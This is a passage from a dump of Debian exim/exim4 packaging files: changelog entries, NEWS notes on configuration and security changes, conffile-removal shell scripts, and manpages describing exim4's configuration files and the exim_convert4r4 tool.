11:06:20 +0100 exim (1.89.1-1) frozen unstable; urgency=low * New upstream version 1.891 (bug fixes) -- Mark Baker Wed, 18 Mar 1998 20:11:30 +0000 exim (1.89.0-2) frozen unstable; urgency=low * Improved inetd.conf handling, hopefully won't lose any changes you make over upgrades -- Mark Baker Sat, 14 Mar 1998 14:32:00 +0000 exim (1.89.0-1) unstable; urgency=low * New upstream version (1.890, a beta test of 1.90) * Fixed cron scripts so they don't fail if exim not installed (eg when upgrading) * Added newline to end of generated /etc/aliases * Pause after first paragraph of eximconfig (#19547) -- Mark Baker Sat, 14 Mar 1998 14:32:00 +0000 exim (1.82-11) unstable; urgency=low * Make ip-up.d script a config file * Check for existence of exim before running it from ip-up.d (#19119) * Only run eximconfig if there is no exim.conf file * This means eximconfig doesn't need to check for exim.conf itself, and so doesn't need a --force option -- Mark Baker Sat, 07 Mar 1998 21:02:30 +0000 exim (1.82-10) unstable; urgency=low * Fixed update-rc.d calls in postrm (#16355) * Replaces: mail-transport-agent (#9305) -- Mark Baker Sat, 07 Mar 1998 17:54:30 +0000 exim (1.82-9) unstable; urgency=low * Added mailq manpage link * Install docs copyright before calculating md5sums -- Mark Baker Fri, 27 Feb 1998 21:36:38 +0000 exim (1.82-8) unstable; urgency=low * Fixed manpages so whatis information can be extracted (#18667) * Added a script for ip-up.d (#18675) -- Mark Baker Fri, 27 Feb 1998 21:36:38 +0000 exim (1.82-7) unstable; urgency=low * Corrected URL in eximconfig script (#18422) -- Mark Baker Fri, 20 Feb 1998 18:32:27 +0000 exim (1.82-6) unstable; urgency=low * exim-doc package doesn't depend on exim (#18285) -- Mark Baker Wed, 18 Feb 1998 12:03:10 +0000 exim (1.82-5) unstable; urgency=low * exim-doc package depends on exim * Inserted space that was missing from depends line for eximon * Added force-reload and restart options to init.d script -- Mark Baker Sun, 15 Feb 1998 22:29:00 +0000 exim (1.82-4) unstable; urgency=low * Written manpages for exiqsumm and eximconfig * Updated FSF snail-mail address in copyright file * Moved eximon.bin into /usr/lib/exim * Updated standards-version to 2.4.0.0 * Fixed md5sum generation * Symlinks from /usr/doc/{eximon,exim-doc} to exim * Fixed typo in exim.conf generated by eximconfig (#18054) -- Mark Baker Tue, 10 Feb 1998 00:45:00 +0000 exim (1.82-3) unstable; urgency=low * Rewritten eximconfig + Relaying configuration + RBL spam-blocking (#17805) + Ask before overwriting /etc/aliases (#16056) + New configuration for system with local deliveries but smarthost for remote mail---useful for dialup users + Generally tidied up * use /etc/cron.d instead of mail's crontab -- Mark Baker Sat, 7 Feb 1998 21:56:25 +0000 exim (1.82-2) unstable; urgency=low * Write startup messages in standard format -- Mark Baker Wed, 7 Jan 1998 21:21:35 +0000 exim (1.82-1) unstable; urgency=low * New upstream release -- Mark Baker Sat, 27 Dec 1997 12:17:23 +0000 exim (1.81-1) unstable; urgency=low * New upstream release (bug fixes) * Removed bogus Replaces: line (#16054) * Mark /etc/init.d/exim as a conffile -- Mark Baker Thu, 18 Dec 1997 11:28:11 +0000 exim (1.80-2) unstable; urgency=low * Fixed typo in control (#15927) * Removed suggestion of metamail * Don't include docs in exim package -- Mark Baker Sun, 14 Dec 1997 20:12:14 +0000 exim (1.80-1) unstable; urgency=low * New upstream release * Strip binaries (#15720) -- Mark Baker Sat, 13 Dec 1997 20:46:18 +0000 exim (1.73-11) unstable; urgency=low * Really depend on cron. I put it in the changelog but forgot to do it last time! -- Mark Baker Mon, 24 Nov 1997 23:24:09 +0000 exim (1.73-10) unstable; urgency=low * Rewritten copyright file * Put note in prerm about deleting multiple inetd lines (#14554) * Depend on cron (#15229) -- Mark Baker Mon, 24 Nov 1997 21:29:51 +0000 exim (1.73-9) unstable; urgency=low * The | I removed in 1.73-7 should have been changed to a \, not removed altogether. I hope I haven't screwed up too many people's /etc/crontab with this bug :( -- Mark Baker Tue, 11 Nov 1997 23:04:19 +0000 exim (1.73-8) unstable; urgency=low * Patch from upstream to fix bug with DB lookups -- Mark Baker Mon, 3 Nov 1997 11:25:37 +0000 exim (1.73-7) unstable; urgency=low * Remove spurious | from preinst that trashed /etc/crontab * Remove from inetd etc in prerm rather than postrm -- Mark Baker Wed, 22 Oct 1997 14:36:21 +0100 exim (1.73-6) unstable; urgency=low * Now really clear up crontab from old versions * Fix sed expressions (#14044) -- Mark Baker Wed, 22 Oct 1997 14:34:52 +0100 exim (1.73-5) unstable; urgency=low * Comment out crontab entry when removed (#14016) -- Mark Baker Mon, 20 Oct 1997 21:01:44 +0100 exim (1.73-4) unstable; urgency=low * Use mail user's crontab instead of system one * Clear up crontab installed by old versions (#13998) * Add md5sums -- Mark Baker Sun, 19 Oct 1997 23:21:35 +0100 exim (1.73-3) unstable; urgency=low * Rewrite postinst etc (I hadn't realised that they weren't complete) (#13940) -- Mark Baker Thu, 16 Oct 1997 23:58:46 +0100 exim (1.73-2) unstable; urgency=low * Install README.debian file * Install {pre,post}{inst,rm} (#13919) -- Mark Baker Thu, 16 Oct 1997 14:45:42 +0100 exim (1.73-1) unstable; urgency=low * New upstream version * New maintainer * Rewritten most of debian/rules * (and as a result, no longer use debmake) * Documented what EXIM_GID is compiled in (#11907) * Made eximconfig less confusing (#12664) -- Mark Baker Wed, 15 Oct 1997 17:13:27 +0100 exim (1.71-1) unstable; urgency=low * Upstream update and libc6 build. Minimize the diffs to upstream sources. -- Christoph Lameter Thu, 25 Sep 1997 20:07:21 -0700 exim (1.62-3) unstable; urgency=high * Fixed buffer overrun security hole in .forward processing -- Tim Cutts Tue, 22 Jul 1997 10:00:00 +0100 exim (1.62-2) unstable; urgency=low * Fixed paths in exicyclog (bugs #9444, #9759 and #9996) * Transferred eximon man page from exim to eximon (bug #9425) -- Tim Cutts Mon, 16 Jun 1997 11:37:56 +0100 exim (1.62-1) unstable; urgency=low * New upstream release -- Tim Cutts Mon, 28 Apr 1997 14:36:37 +0000 exim (1.61-1) unstable; urgency=low * New upstream release, fixes debian bug #7671 -- Tim Cutts Tue, 4 Mar 1997 15:24:21 +0000 exim (1.60-3) unstable; urgency=low * Added a 'sendmail' alias to the exim manpage * Incorporated Christoph's -1 and -2 changes into my own 1.60 package. -- Tim Cutts Thu, 27 Feb 1997 17:57:30 +0000 exim (1.60-2) unstable; urgency=low * Add some more manpages * /usr/sbin/sendmail and /usr/sbin/runq symlink was missing. -- Christoph Lameter Wed, 26 Feb 1997 12:34:08 -0800 exim (1.60-1) unstable; urgency=low * New upstream version * Manpages written -- Christoph Lameter Wed, 26 Feb 1997 10:18:06 -0800 exim (1.59.8-2) unstable; urgency=low * Reversed some of Christoph's changes; put textual documentation back into exim package, and info files into exim-doc package. -- Tim Cutts Thu, 27 Feb 1997 12:37:15 +0000 exim (1.59.8-1) unstable; urgency=low * Supplies some more information regaring uucp and kernel related NFS problems * New upstream release -- Christoph Lameter Mon, 24 Feb 1997 11:57:10 -0800 exim (1.59.6-1) unstable; urgency=low * Put into unstable * Some fixes to the debian setup and the eximconfig script * New upstream release -- Christoph Lameter Thu, 6 Feb 1997 10:26:23 -0800 exim (1.59.5-3) experimental; urgency=low * Rebuild with debmake 3.0.6 * eximstats: Small bug fixed -- Christoph Lameter Fri, 31 Jan 1997 08:37:35 -0800 exim (1.59.5-2) experimental; urgency=low * Rebuild with debmake 3.0.1 -- Christoph Lameter Wed, 29 Jan 1997 12:57:12 -0800 exim (1.59.5-1) experimental; urgency=low * Experimental package for debstdn (debmake 2.80) * New upstream release. NFS Hacks removed. -- Christoph Lameter Sat, 25 Jan 1997 17:21:41 -0800 exim (1.59-1.2) experimental; urgency=low * NFS Problem hacked around (just skipped offending section ....) Locking via NFS is probably broken now. -- Christoph Lameter Fri, 27 Dec 1996 19:39:16 -0800 exim (1.59-1.1) experimental; urgency=low * Full Replacement for smail (and better, easier than smail) * Compiled with db libraries instead of dbm. * Send Daily Statistics to Postmaster * Run eximcyclog from /etc/cron.daily * Run exim from inetd.conf. Run queue hourly via crontab. * newaliases command provided for sendmail compatibility. -- Christoph Lameter Mon, 23 Dec 1996 20:45:44 -0800 exim (1.59-1) experimental; urgency=low * Upgraded to exim 1.59 * Putting PID files in /var/run/exim/ * Changes to exim-doc package by Christoph * Included a postrm script (to remove /var/run/exim, /etc/exim.conf and /var/log/exim if purging) -- Tim Cutts Wed, 18 Dec 1996 09:00:00 +0000 exim (1.58-7) experimental; urgency=low * Local/Makefile updated to be more FSSTND compliant * Minor changes to debian/* files supporting this * Default mail spool changed from /usr/spool/... to /var/spool/... * Added a commented-out user = list line to the system_aliases director for smartlist users to uncomment -- Tim Cutts Tue, 17 Dec 1996 17:00:00 +0000 exim (1.58-6) experimental; urgency=low * eximinstall script was not installed * problems with the init scripts failing -- Christoph Lameter Mon, 16 Dec 1996 20:45:44 -0800 exim (1.58-5) experimental; urgency=low * Revised -- Christoph Lameter Mon, 16 Dec 1996 07:11:31 -0800 exim (1.58-4) unstable; urgency=low * Initial efforts -- Tim Cutts Mon, 25 Nov 1996 22:33:17 +0000 debian/exim4-config.docs0000644000000000000000000000002512027557533012337 0ustar debian/README.Debian debian/exim4-daemon-heavy.NEWS0000644000000000000000000001031012200230010013234 0ustar exim4 (4.80~rc2-1) experimental; urgency=low Ldap lookups returning multi-valued attributes now separate the attributes with only a comma, not a comma-space sequence. The GnuTLS support has been mostly rewritten. exim main configuration options gnutls_require_kx, gnutls_require_mac and gnutls_require_protocols, are no longer supported. (They are ignored if present now, but will trigger an error in later releases.) Their functionality is entirely subsumed into tls_require_ciphers. In turn, tls_require_ciphers is no longer an Exim list and is not parsed by Exim, but is instead given to gnutls_priority_init(3). See /exim4-base/usr/share/doc/exim4-base/README.UPDATING.gz for details. -- Andreas Metzler Sat, 22 Oct 2011 19:16:58 +0200 exim4 (4.77~rc4-1) experimental; urgency=low Exim no longer performs string expansion on the second string of the match_* expansion conditions: "match_address", "match_domain", "match_ip" & "match_local_part". Named lists can still be used. The previous behavior made it too easy to create (remotely) vulnerable configurations. A more detailed rationale and explanation can be found on https://lists.exim.org/lurker/message/20111003.122326.fbcf32b7.en.html -- Andreas Metzler Thu, 05 Oct 2011 19:22:52 +0200 exim4 (4.72-3) unstable; urgency=low Exim versions up to and including 4.72 are vulnerable to CVE-2010-4345. This is a privilege escalation issue that allows the exim user to gain root privileges by specifying an alternate configuration file using the -C option. The macro override facility (-D) might also be misused for this purpose. In reaction to this security vulnerability upstream has made a number of user visible changes. This package includes these changes. --------------------------------------------------------- If exim is invoked with the -C or -D option the daemon will not regain root privileges though re-execution. This is usually necessary for local delivery, though. Therefore it is generally not possible anymore to run an exim daemon with -D or -C options. However this version of exim has been built with TRUSTED_CONFIG_LIST=/etc/exim4/trusted_configs. TRUSTED_CONFIG_LIST defines a list of configuration files which are trusted; if a config file is owned by root and matches a pathname in the list, then it may be invoked by the Exim build-time user without Exim relinquishing root privileges. As a hotfix to not break existing installations of mailscanner we have also set WHITELIST_D_MACROS=OUTGOING. i.e. it is still possible to start exim with -DOUTGOING while being able to do local deliveries. If you previously were using -D switches you will need to change your setup to use a separate configuration file. The ".include" mechanism makes this easy. --------------------------------------------------------- The system filter is run as exim_user instead of root by default. If your setup requies root privileges when running the system filter you will need to set the system_filter_user exim main configuration option. --------------------------------------------------------- -- Andreas Metzler Sat, 18 Dec 2010 18:57:16 +0100 exim4 (4.60-2) unstable; urgency=low The exim4 daemon packages now include a symlink from /usr/sbin/exim4 to /usr/sbin/exim. This can break exim 3 cron and init scripts if the last exim 3 you had installed was any earlier than 3.36-5 and the conffiles from your exim 3 package are still around. Be sure to have any exim 4 earlier than 3.36-5 _purged_ (not removed) before installing this package. -- Marc Haber Wed, 24 Jan 2006 14:58:08 +0100 exim4 (4.31-2) unstable; urgency=low The local_scan perl-plugin has been removed because upstream development has stopped. (am) -- Andreas Metzler Mon, 5 Apr 2004 15:55:12 +0200 exim4 (4.22-2) unstable; urgency=low Include exiscan-acl patch http://duncanthrax.net/exiscan-acl/ in -heavy and -custom for easy integration of content-scanning and invoking spamassassin at SMTP time. -- Andreas Metzler Wed, 27 Aug 2003 12:50:59 +0200 debian/exim4-base.NEWS0000644000000000000000000000647112200230010011606 0ustar exim4 (4.80~rc6-1) experimental; urgency=low Upstream's handling of GnuTLS DH parameters has changed, hardcoded parameters (from RFCs are used by default. See /usr/share/doc/exim4-base/README.UPDATING* for details. Stop shipping /usr/share/exim4/exim4_refresh_gnutls-params /usr/share/exim4/timeout.pl and /var/spool/exim4/gnutls-params-2236. -- Andreas Metzler Sun, 27 May 2012 18:46:48 +0200 exim4 (4.69-4) unstable; urgency=low In reaction to #475194, the size of the Diffie-Hellman parameters used by exim was increased to 2048, which is GnuTLS's default. Since periodically regenerating the Diffie-Hellman parameters doesn't increase security that much (they're sent in clear text in the TLS handshake, and some protocols even have hardcoded them in the standard document), and automatically generating 2048 bits Diffie-Hellman parameters can take a long time, this has been disabled in the Exim4 packages starting with 4.69-4. All exim installations will thus run with the Diffie-Hellman parameters shipped in the package by default. Really, really paranoid people with sufficiently fast machines will want to set up a cron job calling /usr/share/exim4/exim4_refresh_gnutls-params manually - suggested interval is weekly or monthly. -- Marc Haber Sun, 27 Apr 2008 09:14:32 +0200 exim4 (4.30-1) unstable; urgency=low * Exim now runs under its own uid (Debian-exim) instead of using mail:mail. WARNING: You cannot downgrade this version to an older one without manual chown|chrgrp all files owned by Debian-exim to mail. Securitywise this is a tradeoff: - if exim is SUID root and runs without deliver_drop_privilege you win: exim's internal data in /var/spool/exim4 is not open to attacks by bugs in programs SGID mail (mail delivery agents like deliver or procmail, or MUAs like pine) anymore. This is Debian's default setup. - OTOH if you need to be able to make local deliveries to /var/mail and want to run exim with reduced priviledge you have some additional work to do: * Use an SGID MDA for the actual delivery (I suggest maildrop.) * Make changes to run exim4 under group mail: - exim_group=mail. - Hack: make Debian-exim a group with gid=8, i.e. an alias for the mail group, _before_ you make the upgrade. (groupadd -o -g 8 Debian-exim) -- Andreas Metzler Sun, 7 Dec 2003 13:59:46 +0100 exim4 (4.24-1) unstable; urgency=low * This version of exim cannot run deliveries as root anymore, see change 5a for exim 4.23 in /usr/share/doc/exim4-base/changelog.gz. If you don't redirect mail for root via /etc/aliases to a nonpriviledged account the mail will be delivered to /var/mail/mail with permissions 0600 and owner mail:mail. -- Andreas Metzler Fri, 3 Oct 2003 18:11:17 +0200 exim4 (4.22-1) unstable; urgency=low * The way that the $h_ (and $header_) expansions work has been changed by the addition of RFC 2047 decoding. See the main documentation (the NewStuff file until release 4.30, then the manual) for full details. Exim shipped with Debian defaults to HEADER_DECODE_TO="UTF-8" -- Andreas Metzler Mon, 18 Aug 2003 16:51:47 +0200 debian/exim4-daemon-light.install0000644000000000000000000000005712027557533014165 0ustar debian/script usr/share/bug/exim4-daemon-light debian/exim4-config.links0000644000000000000000000000251012245437403012523 0ustar usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/etc-aliases.5.gz usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/etc-email-addresses.5.gz usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_host_blacklist.5.gz usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_sender_blacklist.5.gz usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_host_local_deny_exceptions.5.gz usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_sender_local_deny_exceptions.5.gz usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_sender_callout.5.gz usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_rcpt_callout.5.gz usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_domain_dnsbl_whitelist.5.gz usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_hubbed_hosts.5.gz usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_passwd.5.gz usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_passwd_client.5.gz usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_exim_crt.5.gz usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_exim_key.5.gz usr/share/man/man8/update-exim4.conf.8.gz usr/share/man/man5/update-exim4.conf.conf.5.gz debian/lynx-dump-postprocess0000755000000000000000000000161512027557533013447 0ustar #!/usr/bin/perl open IN, '<&STDIN'; #open IN, 'dump'; { local $/; $content=; } close IN; ($title,$body,$links) = ($content =~ /^(.*)\n\s+_+\n\n (\s+Table\ of\ Contents.*) (References\n\n\s+1\..*)/sx); die unless ($title); print "$title\n".'-' x length($title)."\n\n"; # Sort out local links. # The regex might not be entirely accurate. foreach (split /\n/, $links) { ($index, $url) = /^\s*(\d+)\. (.+)$/; if ($url !~ /file:\/\/.*#.*$/) { $links[$index] = $url; } } $linkno=0; # Split paragraphs foreach (split /\n(?:\s+_+\n)?\n/, $body) { my $footnote = ''; my $rest = $_; while ( $rest =~ /^(.*?)\[(\d+)\](.*)$/s ) { print $1; if (defined $links[$2]) { $linkno++; print "[$linkno]"; $footnote.=" $linkno. $links[$2]\n"; } $rest = $3; } print $rest; print "\n\n"; if ($footnote ne '') { print "$footnote\n"; } } debian/exim4-base.preinst0000644000000000000000000000161312200757064012536 0ustar #! /bin/sh set -e # Remove a no-longer used conffile rm_conffile() { local PKGNAME="$1" local CONFFILE="$2" [ -e "$CONFFILE" ] || return 0 local md5sum="$(md5sum $CONFFILE | sed -e 's/ .*//')" local old_md5sum="$(dpkg-query -W -f='${Conffiles}' $PKGNAME | \ sed -n -e "\' $CONFFILE ' { s/ obsolete$//; s/.* //; p }")" if [ "$md5sum" != "$old_md5sum" ]; then echo "Obsolete conffile $CONFFILE has been modified by you." echo "Saving as $CONFFILE.dpkg-bak ..." mv -f "$CONFFILE" "$CONFFILE".dpkg-bak else echo "Removing obsolete conffile $CONFFILE ..." rm -f "$CONFFILE" fi } case "$1" in install|upgrade) # Remove post-wheezy if test -e /etc/cron.monthly/exim4-base && \ dpkg --compare-versions "$2" le "4.80-7~"; then rm_conffile mypackage "/etc/cron.monthly/exim4-base" fi esac #DEBHELPER# debian/exim4-config.preinst0000644000000000000000000000216012200230010013040 0ustar #!/bin/sh set -e if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi # Remove a no-longer used conffile # Solution and code taken from http://wiki.debian.org/DpkgConffileHandling # and "beautified" (hopefully not broken) rm_conffile() { PKGNAME="$1" CONFFILE="$2" if [ -e "$CONFFILE" ]; then md5sum="$(md5sum "$CONFFILE" | sed -e "s/ .*//")" old_md5sum="$(dpkg-query -W -f='${Conffiles}' $PKGNAME | sed -n -e "\' $CONFFILE'{s/ obsolete$//;s/.* //;p;}")" if [ "$md5sum" != "$old_md5sum" ]; then echo "Obsolete conffile $CONFFILE has been modified by you." echo "Saving as $CONFFILE.dpkg-bak ..." mv -f "$CONFFILE" "$CONFFILE".dpkg-bak else echo "Removing obsolete conffile $CONFFILE ..." rm -f "$CONFFILE" fi fi } case "$1" in install|upgrade) if dpkg --compare-versions "$2" lt "4.68-1"; then rm_conffile exim4-config "/etc/exim4/conf.d/acl/20_exim4-config_whitelist_local_deny" rm_conffile exim4-config "/etc/exim4/conf.d/router/250_exim4-config_lowuid" fi esac #DEBHELPER# debian/manpages/0000755000000000000000000000000012237410730010760 5ustar debian/manpages/exim4-config_files.50000644000000000000000000003140512200756077014533 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH EXIM4_FILES 5 "Jun 21, 2006" EXIM4 .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME exim4_files \- Files in use by the Debian exim4 packages .SH SYNOPSIS .br /etc/aliases .br /etc/email\-addresses .br /etc/exim4/local_host_blacklist .br /etc/exim4/host_local_deny_exceptions .br /etc/exim4/local_sender_blacklist .br /etc/exim4/sender_local_deny_exceptions .br /etc/exim4/local_sender_callout .br /etc/exim4/local_rcpt_callout .br /etc/exim4/local_domain_dnsbl_whitelist .br /etc/exim4/hubbed_hosts .br /etc/exim4/passwd .br /etc/exim4/passwd.client .br /etc/exim4/exim.crt .br /etc/exim4/exim.key .SH DESCRIPTION This manual page describes the files that are in use by the Debian exim4 packages and which are not part of an exim installation done from source. .SH /etc/aliases is a table providing a mechanism to redirect mail for local recipients. /etc/aliases is a text file which is roughly compatible with Sendmail. The file should contain lines of the form .br name: address, address, ... .br The name is a local address without domain part. All local domains are handled equally. For more detailed documentation, please refer to /usr/share/doc/exim4\-base/spec.txt.gz, chapter 22, and to /usr/share/doc/exim4\-base/README.Debian.gz. Please note that it is not possible to use delivery to arbitrary files, directories and to pipes. This is forbidden in Debian's exim4 default configuration. You should at least set up an alias for postmaster in the /etc/aliases file. .SH /etc/email\-addresses is used to rewrite the email addresses of users. This is particularly useful for users who use their ISP's domain for email. The file should contain lines of the form .br user: someone@isp.com .br otheruser: someoneelse@anotherisp.com This way emails from user will appear to be from someone@isp.com to the outside world. Technically, the from, reply\-to, and sender addresses, along with the envelope sender, are rewritten for users that appear to be in the local domain. .SH /etc/exim4/local_host_blacklist .I [exim host list] is an optional file containing a list of IP addresses, networks and host names whose messages will be denied with the error message "locally blacklisted". This is a full exim 4 host list, and all available features can be used. This includes negative items, and so it is possible to exclude addresses from being blacklisted. For convenience, as an additional method to whitelist addresses from being blocked, an explicit whitelist is read in from /etc/exim4/host_local_deny_exceptions. Entries in the whitelist override corresponding blacklist entries. In the blacklist, the trick is to read a line break as "or" if it follows a positive item, and as "and" if it follows a negative item. For example, a /etc/exim4/local_host_blacklist .br 192.168.10.0/24 .br !172.16.10.128/26 .br 172.16.10.0/24 .br 10.0.0.0/8 Exim just evaluates left to right (or up-down in the file listing context), so you don't get the same kind of operator binding as in a programming language. .SH /etc/exim4/host_local_deny_exceptions .I [exim host list] contains a list of IP addresses, networks and host names whose messages will be accepted despite the address is also listed in /etc/exim4/local_host_blacklist, overriding a blacklisting. .SH /etc/exim4/local_sender_blacklist .I [exim address list] is an optional files containing a list of envelope senders whose messages will be denied with the error message "locally blacklisted". This is a full exim 4 address list, and all available features can be used. This includes negative items, and so it is possible to exclude addresses from being blacklisted. For convenience, as an additional method to whitelist addresses from being blocked, an explicit whitelist is read in from /etc/exim4/sender_local_deny_exceptions. Entries in the whitelist override corresponding blacklist entries. In the blacklist, the trick is to read a line break as "or" if it follows a positive item, and as "and" if it follows a negative item. For example, a /etc/exim4/local_sender_blacklist .br domain1.example .br !local@domain2.example .br domain2.example .br domain3.example Exim just evaluates left to right (or up-down in the file listing context), so you don't get the same kind of operator binding as in a programming language. .SH /etc/exim4/sender_local_deny_exceptions .I [exim address list] is an optional file containing a list of envelope senders whose messages will be accepted despite the address being also listed in /etc/exim4/local_sender_blacklist, overriding a blacklisting. .SH /etc/exim4/local_sender_callout .I [exim address list] is an optional file containing a list of envelope senders whose messages are subject to sender verification with a callout. This is a full exim4 address list, and all available features can be used. .SH /etc/exim4/local_rcpt_callout .I [exim address list] is an optional file containing a list of envelope recipients for which incoming messages are subject to recipient verification with a callout. This is a full exim4 address list, and all available features can be used. .SH /etc/exim4/local_domain_dnsbl_whitelist .I [exim address list] is an optional file containing a list of envelope senders whose messages are exempt from blacklisting via a domain-based DNSBL. This is a full exim4 address list, and all available features can be used. This feature is intended to be used in case of a domain-based DNSBL being too heavy handed, for example listing entire top-level domains for their registry policies. .SH /etc/exim4/hubbed_hosts .I [exim domain list] is an optional file containing a list of route_data records which can be used to override or augment MX information from the DNS. This is particularly useful for mail hubs which are highest-priority MX for a domain in the DNS but are not final destination of the messages, passing them on to a host which is not publicly reachable, or to temporarily fix mail routing in case of broken DNS setups. The file should contain key-value pairs of domain pattern and route data of the form .br domain: host-list options .br dict.ref.example: mail\-1.ref.example:mail\-2.ref.example .br foo.example: internal.mail.example.com .br bar.example: 192.168.183.3 which will cause mail for foo.example to be sent to the host internal.mail.example (IP address derived from A record only), and mail to bar.example to be sent to 192.168.183.3. See spec.txt chapter 20.3 through 20.7 for a more detailed explanation of host list format and available options. .SH /etc/exim4/passwd contains account and password data for SMTP authentication when the local exim is SMTP server and clients authenticate to the local exim. The file should contain lines of the form .br username:crypted-password:clear-password crypted-password is the crypt(3)-created hash of your password. You can, for example, use the mkpasswd program from the whois package to create a crypted password. It is recommended to use a modern hash algorithm, see mkpasswd \-\-method=help. Consider not using crypt or MD5. clear-password is only necessary if you want to offer CRAM-MD5 authentication. If you don't plan on doing so, the third column can be omitted completely. This file must be readable for the Debian\-exim user and should not be readable for others. Recommended file mode is root:Debian\-exim 640. .SH /etc/exim4/passwd.client contains account and password data for SMTP authentication when exim is authenticating as a client to some remote server. The file should contain lines of the form .br target.mail.server.example:login-user-name:password which will cause exim to use login-user-name and password when sending messages to a server with the canonical host name target.mail.server.example. Please note that this does not configure the mail server to send to (this is determined in Debconf), but only creates the correlation between host name and authentication credentials to avoid exposing passwords to the wrong host. Please note that target.mail.server.example is currently the value that exim can read from reverse DNS: It first follows the host name of the target system until it finds an IP address, and then looks up the reverse DNS for that IP address to use the outcome of this query (or the IP address itself should the query fail) as index into /etc/exim4/passwd.client. This goes inevitably wrong if the host name of the mail server is a CNAME (a DNS alias), or the reverse lookup does not fit the forward one. Currently, you need to manually lookup all reverse DNS names for all IP addresses that your SMTP server host name points to, for example by using the host command. If the SMTP smarthost alias expands to multiple IPs, you need to have multiple lines for all the hosts. When your ISP changes the alias, you will need to manually fix that. You may minimize this trouble by using a wild card entry or regular expressions, thus reducing the risk of divulging the password to the wrong SMTP server while reducing the number of necessary lines. For a deeper discussion, see the Debian BTS #244724. password is your SMTP password in clear text. If you do not know about your SMTP password, you can try using your POP3 password as a first guess. This file must be readable for the Debian\-exim user and should not be readable for others. Recommended file mode is root:Debian\-exim 640. .br # example for CONFDIR/passwd.client .br # this will only match if the server's generic name matches exactly .br mail.server.example:user:password .br # this will deliver the password to any server .br *:username:password .br # this will deliver the password to servers whose generic name ends in .br # mail.server.example .br *.mail.server.example:user:password .br # this will deliver the password to servers whose generic name matches .br # the regular expression .br ^smtp[0\-9]*.mail.server.example:user:password .br .SH /etc/exim4/exim.crt contains the certificate that exim uses to initiate TLS connections. This is public information and can be world readable. /usr/share/doc/exim4\-base/examples/exim\-gencert can be used to generate a private key and self-signed certificate. .SH /etc/exim4/exim.key contains the private key belonging to the certificate in exim.crt. This file's contents must be kept secret and should have mode root:Debian\-exim 640. /usr/share/doc/exim4\-base/examples/exim\-gencert can be used to generate a private key and self-signed certificate. .SH BUGS Plenty. Please report them through the Debian BTS This manual page needs a major re-work. If somebody knows better groff than us and has more experience in writing manual pages, any patches would be greatly appreciated. .SH NOTES .SS Unresolvable items in host lists Adding or keeping items in the abovementioned host lists which are not resolvable by DNS has severe consequences. e.g. if resolving a .B hostname in local_host_blacklist returns a temporary error (DNS timeout) exim will not be able to check whether a connecting host is part of the list. Exim will therefore return a temporary SMTP error for .I every connecting host. On the other hand if there is a permanent error in resolving a name in the host list (the record was removed from DNS) exim behaves as if the host does not match the list. e.g. a local_host_blacklist consisting of notresolvable.example.com:rejectme.example.com is equivalent to an empty one. - Exim tries to match the IP-address of the conecting host to notresolvable.example.com, resolving this IP by DNS fails, exim behaves as if the connecting host does not match the list. List processing stops at this point! Starting the list with the special pattern +ignore_unknown as a safeguard against this behavior is strongly recommended if hostnames are used in hostlists. See Exim specification Chapter .I Domain, host, address, and local part lists , section .I Behaviour when an IP address or name cannot be found. .SH SEE ALSO .br .BR exim (8), .br .BR update\-exim4.conf(8), .br .BR /usr/share/doc/exim4\-base/, .br and for general notes and details about interaction with debconf .BR /usr/share/doc/exim4\-base/README.Debian.gz .SH AUTHOR Marc Haber with help from Ross Boylan. debian/manpages/exim_convert4r4.80000644000000000000000000000571212027557533014124 0ustar .\" Hey, EMACS: -*- nroff -*- .\" First parameter, NAME, should be all caps .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection .\" other parameters are allowed: see man(7), man(1) .TH EXIM_CONVERT4R4 8 "March 26, 2003" .\" Please adjust this date whenever revising the manpage. .\" .\" Some roff macros, for reference: .\" .nh disable hyphenation .\" .hy enable hyphenation .\" .ad l left justify .\" .ad b justify to both left and right margins .\" .nf disable filling .\" .fi enable filling .\" .br insert line break .\" .sp insert n+1 empty lines .\" for manpage-specific macros, see man(7) .\" \(oqthis text is enclosed in single quotes\(cq .\" \(lqthis text is enclosed in double quotes\(rq .SH NAME exim_convert4r4 \- Convert Exim configuration from v3 to v4 format .SH SYNOPSIS .B exim_convert4r4 .SH DESCRIPTION This script is provided to assist in updating Exim configuration files. It reads an Exim 3 configuration file on the standard input, and writes a modified file on the standard output. It also writes comments about what it has done to the standard error file. It assumes that the input is a valid Exim 3 configuration file. A typical call to the conversion script might be .I exim_convert4r4 < /etc/exim/exim.conf > /etc/exim4/exim4.conf.new The output file .B MUST be checked and tested before trying to use it on a live system. The conversion script is just an aid which does a lot of the \(lqgrunt work\(rq. It does not guarantee to produce an Exim 4 configuration that behaves exactly the same as the Exim 3 configuration it reads. Each option change in the new file is preceded by an identifying comment. In fact, the conversion script tends to make quite a mess of your configuration, and you should expect to go through it afterwards and tidy it up by hand. Unless you are running a very straightforward configuration, the automatic conversion is likely to generate a non-optimal configuration. You should not only check it thoroughly, but also run as many tests as you can, to ensure that it is working as you expect. In particular, you should test address routing, using 